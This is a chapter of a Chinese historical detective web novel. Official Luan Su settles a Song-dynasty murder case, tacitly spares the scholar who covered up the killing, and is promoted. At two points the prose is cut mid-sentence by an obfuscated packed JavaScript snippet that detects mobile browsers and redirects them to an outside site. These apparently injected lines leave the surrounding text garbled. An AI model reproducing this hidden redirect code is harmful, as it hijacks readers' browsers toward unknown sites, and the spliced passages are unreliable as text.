柱子带着卢轸和栾素匆匆赶到县衙,县衙此时已经乱成了一锅粥。苏杭应奉局的人看着是要走,许承明和衙役们正拦着。苗海被抬到了正堂外面的空地上,头上还有大夫没拔完的银针,胸口和死水一样不再起伏,人已经没了。 栾素指着苗海的尸体,问道:“许大人,这是怎么回事,苗海好端端地怎么会死了呢?” 许承明回头看到栾素,开始告状:“栾大人,您可算回来了,刚才……” 原来,苗海被带到县衙后,许承明照例要对苗海提审,问清楚昨天夜里行凶的细节。结果苗海还是一口咬定自己没有杀害朱勋,案子没有口供一时之间无法结案。苏杭应奉局的人等得不耐烦了,为了让苗海快些松口,要许承明给苗海上刑具。许承明不愿屈打成招,苏杭应奉局的人便说要把苗海带回到京城里自己动手。案子发生在祥符县的地界上,疑犯还是祥符县人,许承明自然不肯他们把人带走,没想到光天化日之下他们居然直接上手抢人。 许是为了在东南地区搜刮民脂民膏更为方便,苏杭应奉局的人各个人高马大,满身横肉。县衙里的捕快们和他们对上,也不敢动刀子,瞬间落了下风。其中一个捕快护在苗海的前面,结果被狠狠地推了一把,向后倒地的时候,胳膊肘正好重重捣在了苗海的心窝上,苗海立时躺在地上抽搐了起来。 许承明赶紧派人找来了大夫,一阵扎针施药后,人还是没救回来。大夫说苗海平日里应该经常酗酒,眼白浑浊发黄还带血丝,舌苔厚浊,身子本来就不好,刚才胸口又被重重捣了一下,受了内伤,大罗神仙也难救。 苏杭应奉局的人见苗海死了,毫不在意,起身就要走。许承明哪肯,案子尚未完结,疑犯就死了,这不成了死案了吗,于是两拨人堵在了大堂。 对面的一个大汉说道:“姓许的,你少废话,刚才早早把苗海交给我们就什么事都没有。现在正好人死了,大家都不用费劲了。我们急着要上京城去送‘花石纲’,你这证据都找全了,赶快把案子结了得了,不要耽误我们的时间。” 许承明气愤地说道:“结案岂能如此草率,光有证物怎么能行,嫌犯都没有亲口认罪!” 另一个大汉说道:“你是听不懂人话吗,我们要去京城,去皇宫里面送东西。耽误了事,你十个脑袋都赔不起,知道我们上面是谁吗?去汴京打听打听计相是谁,当个县令还真以为自己是碟子菜了。” 那个吊梢眉的随从说道:“就是,无赖一个,死了就死了,就算为民除害了。还要我们怎么办,难不成哥几个能给他救活不成。再说了,你以为苗海到了京城就能活吗?这人杀了朱大人,给我们留了个烂摊子,我们还得费心给计相解释。再不识好歹拦着我们,咱的拳头可是不长眼的。” 说完,几个大汉就把人墙推开,大摇大摆地走出了县衙。 许承明有些着急,“栾大人,真的就这样让他们走了吗,这案子才审了一半不到,断由都写不出来啊。” 栾素不是不想阻拦,现在案件尚有疑点未明,仍需要查验。刚才那些苏杭应奉局的人往外走的时候,他本来想冲上去和衙役们一起拦人的,奈何卢轸在后面死死拽住了他的衣裳。 许承明不知道计相是什么,卢轸可是知道的。这好不容易扶植起来的官儿,可不能半路折在这。没办法,深入敌国,行动不便,卢轸需要栾素给她提供水系异变相关的线索,哪怕只有渺茫的希望,卢轸必须保证栾素的安全和仕途的顺畅。 卢轸对着栾素使眼色,栾素知道卢轸的意思。拳头紧了又紧,最后还是松开了。 “许大人,我,也无能为力。”栾素说完,叹了口气。是啊,他冲上去又能怎么样呢,是能判那些人强逼百姓出卖家中木材的罪,还是能判他们推搡官差误杀嫌犯的罪呢。都不能,穿着青色官服的栾素和之前在霸州时一样无力,山外有山,官上还压着更大的官。 远处天空飘来了一朵云彩把太阳遮住,来回奔波的身子不是那么热,心也有些凉了。 嫌犯死了,但物证还在,案子还得结。栾素把案子始末又梳理了一遍,刚才派出去在常家周围找血衣的人也回来了,和预想的一样,毫无收获。要不然是他们都想错了,人就是苗海杀的,要不然就是常洛这个人算得太准了。 栾素说道:“许大人,可否再详细说些常洛家的底细?” 许承明看向一旁站着的卢轸,不知道是不是要让栾大人的这个小厮退出去。 栾素解释道:“刚才有些误会,这位是我的朋友,于断案之事上颇有些造诣,我请他留在这里,许县令就当咱们集思广益了吧。”卢轸笑着向许承明作了个揖。 既然这么说了,许承明也没什么反对的意见,开口道:“常洛家往上数,至少三代都是读书人,常洛的曾祖父曾经中过举人,家里也过过一段风光的日子。奈何天不假年,常洛的曾祖父、祖父和父亲都是英年早逝,现在家道中落,就剩了常家小院这个一亩三分地。常洛这个人倒是不错,经常帮县里不识字的人代写书信,之前县里有过几起土地官司,还是他协助官府调平的。只是常洛虽在县城的学堂里教书,但挣的很少,家里还有个身体不好的老母要吃药,揭不开锅也是常有的事情,县里面也给他们家送过几回米,现在又添了个小娃娃,只怕比以前更难。” 许承明知道栾素又回了常家勘察线索,试探性地说道:“大人还是怀疑常洛吗?常洛平日里是有些嫉恶如仇,两人昨天也有过争执,但杀人不是动嘴皮子骂人,为着一家老小,他不会如此莽撞的。再者,朱勋体型不小,常洛杀他实在有些勉强啊。” 栾素无奈地点点头,“烦劳许大人把常洛请过来,咱们可以结案了。” 许承明出去后,卢轸问道:“看来栾兄是已有定论了?” “表面上有定论罢了,只可惜没能找到其他证据。” “栾兄若放不下那个假设,不妨诈他一下。” 卢轸说完,两人对视一笑。 许承明的动作很快,常洛看起来还算镇定,也不知道是不是看见苗海已经死了的缘故。 栾素温和地说道:“常公子不用紧张,此案现已查明与你无关,你在这状纸上面签字画押之后,就领着家人回去吧,她们现在都在县衙的后堂歇着。” 常洛如释重负地舒了口气,“多谢大人明察秋毫,还了草民清白。” 一阵官民客套之后,常洛走向了栾素面前的书案,上面放了一张状纸,常洛快速扫了一遍,拿起毛笔便要署上姓名。 此时,栾素向前俯下身,略带着神秘的口吻说道:“常公子,家里灶台下面的东西记着烧干净啊。” 常洛身子猛得一震,右手险些没能握住笔。栾素知道自己想对了,却还是笑脸盈盈地提醒着常洛:“常公子留神,墨马上要滴下来了。” “噢噢。”常洛回过神,急忙把笔放到砚台上舔了一下笔尖。 县衙后堂,常夫人抱着孩子和常母一起等着常洛,见到丈夫全须全尾地回来,常夫人有些情难自抑,“官人,是不是没事了。” “咱们先回家,回家再说。”常洛没有多说,搀着母亲就往外走。 县衙门口,卢轸早早就站在了这里,“常公子,栾大人让我给您带句话。那棵榉树是个好东西,剥皮这种做法不该用在它身上。若是护不好,可以快些卖掉,也省的旁人惦记。” 常洛知道卢轸说的是什么意思,“多谢大人提点。”说完,向县衙大门深深一拜。 回到小院的常洛,浑身脱力一般瘫坐在地上,他没想到这位京城来的栾大人已经看穿了。 昨晚,他侍奉母亲喝下安神的汤药,便熄了主屋的灯。家里屋子不大,在隔断出来的另一个房间里,妻子舒安已经把孩子哄睡着了。 “母亲睡得怎么样?”舒安轻声问道。 常洛坐在床边说道:“勉强睡下了,白天那么一闹,普通的酸枣仁、柏子仁应该不顶用了。明天我去县里的时候再找大夫开一些朱砂安神丸。” “又要用朱砂安神丸了吗?母亲的身子近来已经明显有好转了啊。” 常洛一脸严肃地说道:“本来说好的十天一个疗程,母亲觉得朱砂价高,见有好转就自己停了药。我本来就不赞成母亲这样做,要不是家里……哎,这次不论说什么都要把母亲的药给供上。明日午饭我就不回来吃了,下午我去永济河那里帮工,那的运河最近在挖淤泥,应该能找到短工做。” “官人白天要去学堂教书,现在还要去做河工,哪里还有时间温书。要不我再多做些绣品拿出去卖,说不定咱们也能捱过去。”舒安有些担心丈夫的精力。 “不行不行,永哥儿正是闹腾的时候,你带孩子已经够累了,再做绣品眼睛也来不了。” 说起孩子,舒安脸上多了几分笑意,“永哥儿很乖,我也没费多少心思,只是白天确实是吓坏了,我刚才又哄了好久,官人身上的伤怎么样了?” “不碍事,皮肉伤而已,缓几天印子就消掉了。只是可怜咱们的永哥儿了,朱勋那个杀千刀的玩意!”想到白天的事情,常洛还是愤愤不平。 舒安急忙制止丈夫,“官人快别说了,咱们惹不起他的,许县令能帮咱们把家里的树保下来已经是万幸了。” “这榉树是当年曾祖父科考时家中所种,树的周围围上些个石头,本只是取个‘硬石种榉’的好兆头,没想到曾祖父真的一举高中。可惜天妒英才,曾祖父没熬到春闱,就被一场伤寒断送了性命。曾祖父临终前说,要好好对待院中的榉树,以后争取能出一两个进士。可惜啊,院子里的榉树是越长越好,咱们家却再也没有过这种光耀门楣的事了。”想起家中往事,常洛不免有些感慨。 “官人只是此次没中,又不是说以后都中不了了。” 常洛摇摇头,说道:“我资质本就平平,若是下次再不中,我就不考了。家里添了人也要多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535880|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 添一份口粮,我再出去找找别的活计,肩扛手提的都可以。等把永哥儿抚养长大,我这一身半吊子的学问能给他开蒙就行。” 舒安笑着说道:“永哥儿才多大,官人就想到这么远了,我去给官人打一盆水来,官人洗洗早些安置了吧。” “好。”常洛看着妻子出去,用手捏了捏眉心。家里现在的情况,属实有些艰难。 突然间,外面起了骚动,“啊!放开我!” 是妻子的声音,常洛往外面跑去,“舒安,怎么了,出什么事了!?” 院子里,是白天来过,硬要买树的朱勋,此时正一身酒气,脚步虚浮地拉着人,不知道为什么又跑到了这里。 朱勋一脸□□地说道:“这小娘子长得倒是俊俏,哈哈,常洛这小子倒是有福气,怎么白天没见到你啊……” “别碰她!”常洛大吼一声,向前面撞去,朱勋没有准备,被撞了个趔趄。舒安趁这个机会,甩开了朱勋的手,躲到了常洛的后面。 朱勋向后退了几步才稳住身形,“怎么又是你,常洛我告诉你,你别敬酒不吃吃罚酒。你以为被许承明那个芝麻官搅合一下,我就拿你没办法了吗,告诉你,嗝,我有的是办法让你搬走。你要不就现在,咱们,嗝,五两银子把事情说定了,不然,我让你连个银屑都见不到,你信不信吧。” “树我是不会卖的,你快点从我们家出去,不然我就报官了。”常洛张开双臂,将舒安护在身后。 朱勋哈哈大笑,“怎么,你不会真以为报官有用吧,别做梦了,你把许承明叫过来,我保证他连屁都不敢放一个。识相的,把钱拿走,给爷爷磕几个头赔礼道歉,我就放过你们一家人。” “我就不信,你连王法都能越过去吗!”常洛大声喊道。 朱勋的脸上闪过一丝狠厉,“好啊,我就越给你看看。你们家这棵树是我的,你媳妇,也是我的。” 说完,朱勋冲上前去,一脚踢在了常洛的肚子上。常洛只是一介弱书生,也不会武功,于是应声而倒。眼看着朱勋就要把舒安带走,常洛从地上爬起,抱住了朱勋。两人扭打在一起,眼看着丈夫再一次被掀翻在地,情急之下,舒安拿起了榉树旁边的一个石头,狠狠地砸向了朱勋的头。 朱勋脚上的动作被迫停了下来,转过头去,不可置信地看向舒安,“你,你们,敢杀我……”。话好像还没说完,朱勋的身子就有些不受控制了,向后一仰,人倒在了厨房的外面,头上的伤口还在源源不断地往外冒着血。 “官人,怎么办啊,我,我闯祸了。”舒安跑到常洛身边,一脸惊恐。屋里的永哥儿也被刚才的打斗声惊醒,哇哇大哭起来。 “舒安,你别急,我来想办法,我来……”事情发生得太突然了,常洛坐在地上,也有些没缓过神,只能尽力安抚妻子。 月上中天,常洛悄悄打开院门,路上没人。朱勋的头被衣服裹得严严实实的,没有血流出来。常洛费了好大的力气,把人从家里拖到了不远处的树林,又用扫帚把地上拖拽过后留下的土痕给扫乱。 还有什么,还有什么,常洛在脑子里不断推演着一个不存在的案发经过。对,劫财最好,常洛想到了苗海,如今只能对不起他了,他是最合适的,下午还见他喝醉了酒,头脑必然不清醒,前几天又刚和别人打了一架,对对对,就这样,还要再做些痕迹。父亲早年在县衙里当过差,听仵作说过榉树的树皮可以伪造殴打的伤痕。想到这,常洛又动了起来。 不知到了什么时辰,常洛再次回到家中。 “官人,怎么办,明天他们一定会来找人的啊,这样真的可以吗?”舒安听着丈夫的安排,已经把刚才的衣裳换了下来。 “没事,没事,我都处理好了。舒安,你记住,今天晚上没人来过咱们家,咱们一家很早就睡着了,一定要记住。”常洛叮嘱着妻子,“你先去睡觉吧,我再好好想想。” 舒安哪里还能睡着,她不知道丈夫在外面做了什么,自己能帮上什么忙,只能陪着丈夫一起坐着。 常洛已经把朱勋身上的财物放进了苗海的家里,那家伙喝得够多,一点都没察觉到家里进了人。回来的路上,一些小的金器和那块石头,被常洛扔到了去苗海家的必经之路上。还有那两件沾了血的衣裳,常洛准备烧掉它们,但是现在还不能点火,得等到明天早上。再让地上的血迹有个说法,应该就可以糊弄过去了。 天色微亮,还没来得及打鸣的公鸡就被常洛抓出来,拿到厨房门口杀掉了,常洛仔细地将流出来的鸡血倒在地上的人血上。常母也醒了,说是要帮忙烧水拔鸡毛,常洛赶紧拦下。厨房里,舒安已经烧起了火,两件衣服逐渐被火舌吞噬。小院的大门也被捕快们敲响了…… 常洛喝了一口水,定了定心神,对着妻子说道:“这件事就算这么过去了,明天我就出去把家里的树卖掉。咱们收拾收拾东西,回你的老家去。栾大人说得对,这里不能再待了。” 21. 两人回京 案子完结后已是午时,许承明带着县丞和师爷在县城大门旁送别栾素和卢轸。 “此番多谢栾大人襄助,祥符县上下感激不尽。大人还要赶回大理寺,不能留在县里吃饭,这里是些乡下不值钱的野玩意儿,大人带回去尝尝鲜。”许承明对栾素恭敬有加,还准备了些野鸡野鹿,装满了整个箩筐。 栾素笑着拒绝,“许大人太客气了,我从小也是在乡间田垄长大的,知道这些东西得来不易,实在不能收下,还望许大人恕罪。” 许承明心里有些犯嘀咕,不知道人家是不是嫌弃这野味入不了眼,“大人虽是这么说,但我受恩未报,内心羞愧得很。要不我再……” 栾素知道许承明想的是什么,当即解释道:“许大人与我虽是同朝为官,但牵连甚少。若不是大朝会,京城开封府的大人们走不开,也轮不到我这个大理评事来审这桩案子。便是开封府随便出一位大人,办起案来也会比我快上不少。如今能够共事一场就是缘分,算不上恩惠的。许大人勤政爱民,日后高升,也可到汴京城里寻我吃酒,栾某必会设宴款待。” 一番话下来,许承明听得很是欣喜,既解决了棘手的案子,又和京城的人搭上了关系。“如此,许某在这里深谢过大人了。” 栾素向后看去,卢轸还在和那位叫柱子的捕快讲话。好在卢轸看到了这边的动静,三言两语说完,就止住了话头。两人挥手向许承明告别,走出了祥符县城。 两人走远后,县丞对着许承明说:“大人,这位栾大人真是不错。之前咱们祥符县也来过些京官,官不大人却都傲气得很。住在馆驿最好的房间里还嫌弃得不行,大晚上非要吃那个叫什么‘糖醋软熘鲤鱼焙面’的,临走又给他们塞了不少银子。派发下来招待用的‘公使钱’根本不够,咱们自己还得往里面贴钱。”话语间全是哀怨。 “哎,那又能怎么办,官大一级压死人,更何况人家还是京官。好在栾大人善解人意,还能体谅咱们的难处。”许承明摇摇头,都是进士又同朝为官,他还虚长栾素几岁,无人引荐就只能一直在地方上熬资历,如今调到京县已经算好的了。再看看人家,官家亲封的馆职,如今又到大理寺里任职,日后前程怕是也不能望其项背了。 许承明转身,指了指箩筐里的东西,“这些东西拿去卖了吧,换来的钱请个泥瓦匠,把县衙里的吏舍再补一补,总不能让大家老是吹风睡觉。” 话说完,许承明又看到了站在队伍最后面的柱子,“柱子,刚才栾大人身边的那个卢公子跟你说什么了?” “太爷,刚才那位小哥说咱们县里,那几条河的水蛇……”柱子这次总算能直接切入正题了,不枉卢轸刚才叮嘱他半天。 不算巍峨的县城逐渐消失在身后,祥符县的命案告一段落。 卢轸和栾素并肩骑在马上,栾素好像在想什么事情,也不催马,就慢慢悠悠地走着。 这不知何时才能到汴京城,卢轸适当地开口说道:“看来我眼光不错,这匹马还是配着栾兄比较好。之前有人要我出价,我都没舍得卖掉,哈哈哈。” 栾素俯身摸了摸马儿的鬃毛,“骅骝骁腾,可万里横行,这远不是一般马儿能比得上的。之前卢兄让桑羊直接就牵来了,我都没来得及正式道谢。”说着,栾素就又要行礼。 卢轸赶忙止住,“哎哎哎,天天谢来谢去的,多麻烦了。世人求好马多为装点自己的面子,我只是觉得这马儿该有更好的归宿,栾兄是个好人,定能好好对它。” 话匣子被打开,栾素也开始主动找话聊了,“卢兄,你刚才在县衙门口跟常洛都说了什么呀?” “没什么,就是借着栾大人您的名号,给他提个醒。”刚才卢轸就是当着栾素的面出去的,谈话的内容自然也没必要藏着掖着。 对于这个案子,栾素还是有些说不清道不明的心思,“也不知道这样做,到底是对还是错。” “鱼肉百姓的贪官死了,连带着为祸一县的无赖也死了,剩个与人为善的书生,倒也不错。”卢轸就等着栾素主动聊起这个事情,她才好开导他,省得落下了心结,“栾兄不知道吧,之前我在南边做生意的朋友,家里珍藏着的灵璧石都被这些苏杭应奉局的人搜刮走了。我朋友气不过去报官,结果当地的官员自己都上赶着送东西巴结朱勋他们,怎么可能会为一介商人主持公道。最后就是连哑巴亏都没得吃,又被朱勋的人打了一顿。栾兄如果不这样判,常洛一家安能有活路可走。” 南边做生意的朋友自然是卢轸杜撰出来的,不过这种强抢财宝的事情,卢轸觉得自己肯定没有冤枉朱勋,若是把苦主都找来,指不定有多少呢。 卢轸见栾素没有说话,便换了个方向继续猜道:“又或者说,栾兄是在懊恼自己没能找到可以直接定罪常洛的证据?这才不得已顺水推舟结了案子?” “我……也不是不得已结了案子,就算找到了证据,我应该……还会这么判的。”栾素说话有些嗫嚅。 “那就是因为没找到证据喽,此事就更简单了。”卢轸笑着说道。 “卢兄知道从何处下手!?快说与我听听!”栾素真的很在乎这个事情,总不能指望以后断案正好断到关键的时候,都有个能顶罪的无赖正好死了吧。 “《洗冤集录》栾兄可以再仔细看看,破解之道自在其中矣。”卢轸摇头晃脑,故作神秘地说道。 《洗冤集录》中有载“酽米醋洒泼法”,若是有渗入地下的不明显血迹,用醋和酒泼洒此处,就能让这些血迹重新显现出来。常洛家没有手推车,常洛也背不动身材高大的朱勋,就只剩把人给拖到树林里这一种方法了。地上的拖拽土痕虽说被破坏了,但渗入地下的血迹一定还在。一条由常洛家连到树林里的血迹,足够定常洛的罪名了。 栾素没想到卢轸会让他回去自己查,抱怨着说道:“卢兄你都知道了还不说出来,这不成心急人吗?” 卢轸佯怒,“栾文素,你说话好不讲道理,这书早些时候我就送给你了,摆在果子巷里又没人上锁不让你看。刚才在苗海家还是我提醒你那榉树有问题,你才回去看的。好心给你指条路,想让你自己看看加深印象,留着以后破案能用上。没想到还得了埋怨,早知道我不说了。”卢轸说完,夹了一下马腹,乌雅默契地走得快了些。 文素是栾素的字,这是卢轸第一次这么叫栾素。栾素还有些没反应过来,乌雅就已经快了一个身位了。 听到卢轸说的用意,栾素赶忙驱马追上了卢轸,笑嘻嘻地告罪道:“刚才是我心急了,我读书不精,卢二郎说的是,我今日下值就回去看,一定把书给吃透喽。” 乌雅的速度又慢了下来。 栾素扭头看向卢轸,“卢兄不起个字吗,这样叫着也不方便啊。” 卢轸甩甩手,“商贾之人取什么字,又用不上。我和张文兄都没起字。”朔木人可没有起字的习惯,这她也不能立时就想出来一个好的。 “商贾之人为何不能取字,又不是低人一等,何况卢兄一肚子的学识,当得起一个好字。” “做生意忙嘛,除了几个朋友,平时都是一手交钱一手交货,没听说过还要交心的,起了给谁叫?” 栾素认真地说道:“我会叫啊。”卢轸看了栾素一眼。 “要不我帮卢兄想一个?”栾素见卢轸没有反对,继续说道。 “也,行吧。”随他去吧,这新官上任差事不少,说不定很快他就忘了,卢轸心想。 两人走着聊着,路上的人越来越多,已经快到汴京城了。 卢轸问道:“午后应该还要再去一趟大理寺吧?” “是,今天是上值的第一天,总得见一面郑大人,大朝会午后应该就能结束。哦,郑大人就是现任的大理寺卿。”栾素怕卢轸不知道,还特意多说了一句。 “有点赶啊。快走快走,咱们今日不做午饭了,去遇仙楼好好敲诈一顿去。” 栾素还以为卢轸是要说什么重要的事情,没想到是蹭饭,哭笑不得地跟着卢轸加快了速度。 郑临山带着属官们回到大理寺的时候,已是未时四刻。 早早候在门口的衙役见人回来了,忙迎上去说:“大人,您可算回来了。新任大理评事栾素,已在正堂等候多时,您现在见不见?” “见。”简短的一个字后,郑临山又微微思索一下,继续说道,“再上盏好茶。” “鲁大人,把栾素的档案调出来,送到我的书房去。还有,派一些人去下面看看,把今天发生的事情问清楚了之后来回话。”郑临山回头吩咐完,带着剩下的人朝正堂走去。 鲁洪熙朝大理寺东边的公廨走去,那是他平时办公的地方。 文主簿听到外面的动静,出来查看,没想到去参加大朝会的大人们已经回来了。“鲁大人,您就回来了。卑职刚才在架阁库整理文书,没想到竟误了迎接的时辰,真是该死。”鲁洪熙已经是他平日里能见到的最大的官了,这下又错过了在郑大人那里混脸熟的机会,文主簿很是懊悔。 “哎,不说这些有的没的,现在有要紧的事情要做。文主簿,快去把新任大理评事栾素栾大人的档案调出来,正好你刚才在整理,郑大人点名要看呢。” 文主簿一听就知道此事不一般,眼珠一转,把心里的小九九委婉地说了出来,“这么着急,可是郑大人有什么指示?大人,不瞒您说,今早栾大人非要替开封府的人去下面的祥符县查案,听说还是和‘苏杭应奉局’有关,这要是处理不好会给郑大人添麻烦的,卑职当时好说歹说都没劝住,莫不是上面怪罪下来了?我就说栾大人不该去的……” “要不说你只能做到主簿呢,一点运气都没有。人家早上出门之前也不知道拜了哪路神仙,一个上午不到,就帮‘苏杭应奉局’的人找到了杀人凶手。官家口谕,晋栾素正七品朝奉郎的官阶,人家现在已经和我平起平坐,也是大理寺丞了。”鲁洪熙一番话说得文主簿目瞪口呆。 栾素走出大理寺,看着这身刚换上的绿色官服,有些不敢相信——又升官了? 刚才在正堂,郑大人和颜悦色地跟自己聊了许多在大理寺办差时要仔细的地方,栾素很是受用。一般来说,这种东西都是要自己以后慢慢摸索总结出来的,运气不错的话,碰上个好一点的上司,就像栾素之前在秘书省里的上官,可能会提点两句。但这种把要点都掰开揉碎,喂到肚子里的,实是少见。栾素越听越不安,真是害怕郑临山笑里藏刀,一说完就派给自己个烫手山芋。 栾素没想到的是,比烫手山芋来得更早的是一份嘉奖的旨意:简明扼要得很,说自己办案有功,擢升为大理寺丞。周围的官员围着自己一阵道喜,栾素这才知道,原来陛下已经听说了上午在祥符县发生的事情。从结果看,陛下似乎对自己判的结果很满意。 只是,都进奏院送考课状升了一次,进士中榜升了一次,这次祥符县办案又升了一次。这下自己不得成一些人的眼中钉、肉中刺了。栾素有些苦恼,默默无言地骑在马上朝果子巷走去。 榆林巷内,菁纭听说卢轸已经回来了,赶来小院相见。两人见面,没有多说,单刀直入主题。 卢轸问道:“菁纭姐,去年八月大名府的水灾可有眉目了?” 菁纭摇摇头,“暂时还没有结果传回来,那场水灾奇怪得很,大名府八月都没怎么下雨,这多出来的水从何而来怕是不好查。” 卢轸点点头,没有进展是意料之中的。去年她从河北西路南下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558176|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,水灾已经退去,还是到汴京之后才听鹿乡提到这件事情的。大名府的水灾来得也快,去得也快,周围的河流湖泊事前也没有异常的水位变化,确实不好下手。 “不能着急,查得清楚才是最重要的。对了,还有一事,今日我追到城外的祥符县去找射玉,听乡下的老伯说河道里不知从什么时候起有了不少有毒的水蛇。我觉得此事有蹊跷,就带了条死蛇回来,鹿乡已经看过了,是南边特有的品种,叫泡眼蛇的。”卢轸又说起了今天在祥符县发生的事情。 菁纭怀疑自己听错了,“南边特有的泡眼蛇?那怎么会到了京城附近?” 卢轸指着挂在墙上的地图,上面的州郡和河流旁边都有不同颜色的批注,“所以才说是蹊跷。泡眼蛇主要在荆湖、江南之地,水蛇也不会离开水源太远,这南北两端,几百上千里的距离,它们是怎么爬过来的?” “会不会是有人偷偷从南边带来了有毒水蛇,又放到祥符县的河里呢?或者是南边来的货船不小心带过来的?”菁纭给出了两个猜测。 卢轸分析道:“这么多蛇,从南边运过来,一路上加水加肉,还要注意路过城镇的时候不被官兵查到。费了这么大心思,就是为了把水蛇投放进祥符县的小河里,去害一些无辜村民吗?这人怕不是盐店的老板——闲得发慌了。再说货船,一条两条的蛇夹带在货物里,带到这边还能说得过去,数量太多不太可能。” 房间里陷入沉默,水蛇之事看起来只是一个小插曲,但卢轸总感觉这件事情有古怪。不能就这么揭过去,“我觉得……” 鹿乡从外面快速跑进来,“主子,刚得到的消息,栾素断案有功,升任大理寺丞了。” 菁纭半句话没说完,听了鹿乡的话,转了话头,“这么着急……这皇帝是不是吃错药了,哪里有新科进士升官升这么快的。” 卢轸反应得很快,站起身问道:“菁纭姐,我要的人准备好了吗?” “准备好了,人都在遇仙楼,你没说几时需要,我就让他们先待在酒楼了。” “现在就能用上了,鹿乡,走走走,咱们把人都带上,要在栾素下值前赶到果子巷。”卢轸撂下一句没头没脑的话,就带着鹿乡,风一样地就出了小院。 送礼也是讲究时机的,没发迹之前的送礼可不是消息传开、人群蜂拥而至之后的送礼能比的。卢轸带着二十多个人,还拉着一车子的东西,风风火火地朝果子巷赶去。 栾素面无表情地骑在马上,好在卢轸送的这匹枣红马认得回去的路,安然把出神的栾素送了回来。栾素刚下马,匆匆扫了一眼,就看到门口旁的几个大箱子,还有一群穿着小厮衣服的生面孔,领头的人看起来已经进去了。 栾素面露不愉,对着大门唤着管事。前段时间就有人四处打听自己的住宅,这说不好就是谁送来的礼,如今自己接连升迁,同年们不免眼红,更要低调行事,怎么能堂而皇之地在家门口收下来路不明的箱子,这不是把自己放在火架上烤吗。 一声高呼过后,管事没出来,早在中午一起吃完饭就分道扬镳的卢轸却出来了。 “栾兄回来了,我正巧路过就进来坐坐。哟!我没看错吧。”卢轸围着栾素转了一圈,上下打量后说道,“中午走的时候还穿着蓝的呢,去一趟衙门,回来就成绿的了。栾大郎你在大理寺花钱了啊。” “卢兄莫要说笑了,我这钱袋子里有多少你最清楚了。”卢轸的演技很好,栾素只当时他是凑巧来了这里。 管事此时姗姗来迟,“小的在里面清点刚送来的物什,没听清,这才出来晚了。” 栾素指着外面的箱子问道:“这些箱子是怎么回事?” 管事小心翼翼地解释着:“大人莫怪,这些都是卢老板带来的。您之前吩咐过的,卢老板来,都是要奉为上宾的,这东西小的不好不收啊。” 卢轸笑着打圆场,“就是些书,我特意寻来给你看的,不是什么值钱玩意儿。你这……”说的是栾素身上的新官服。 “机缘巧合,机缘巧合。”栾素面色缓和了下来,快速跟卢轸说了刚才在大理寺发生的事情。 卢轸耐心地听完,“这是好事啊。我正好给你送了些人来,原本还怕你不答应呢,现在应该用得上了。我看你今天下到县里去办案,身边都没个贴身的小厮陪着。我挑了些个手脚利索的给你使唤,平日里还能扫扫庭院什么的。” 栾素看向门口站着的三溜儿人,“这人有些多了吧,用不了这么多人的。” 卢轸细细地规划着,“不多不多,前院五个,西跨院再来三个,东……” “原来派来的哪些人已经很够用了。”栾素听完有些不自在,他不太习惯身边有太多陌生人。 “原来怎么能和现在比,现在你身份不一样了,说不定就要有什么大官来家里探访。家中没有人伺候着,说好听点叫清贫,难听点的就是没有规矩,人家会看不起的。虽然咱们都是那种不拘小节的人,但是样子还是要做的。这些人都是鹿乡找人调教过的,有分寸得很,不会到处乱跑,端茶倒水,伺候笔墨的事情都做得来,必能帮你把场子撑住了。” 这话说得确实有道理,官场上的规矩如此,栾素无奈只能接受。“那若是要给人的话,我想……” 卢轸笑着说道:“知道你想要谁,桑羊。”原来桑羊也在,只是换上了和其他人一样的衣服,栾素一时间没注意到。 栾素和桑羊相处得很好,桑羊的巧嘴总是能把有些安静的栾素逗笑。之前遇仙楼或者卢轸要送什么东西,都是桑羊捎过来的。此时,桑羊正笑嘻嘻地对着栾素行礼,“小的桑羊,见过栾大人。” 栾素很开心,也暗自感叹卢轸的洞察之力,“多谢卢兄成全。”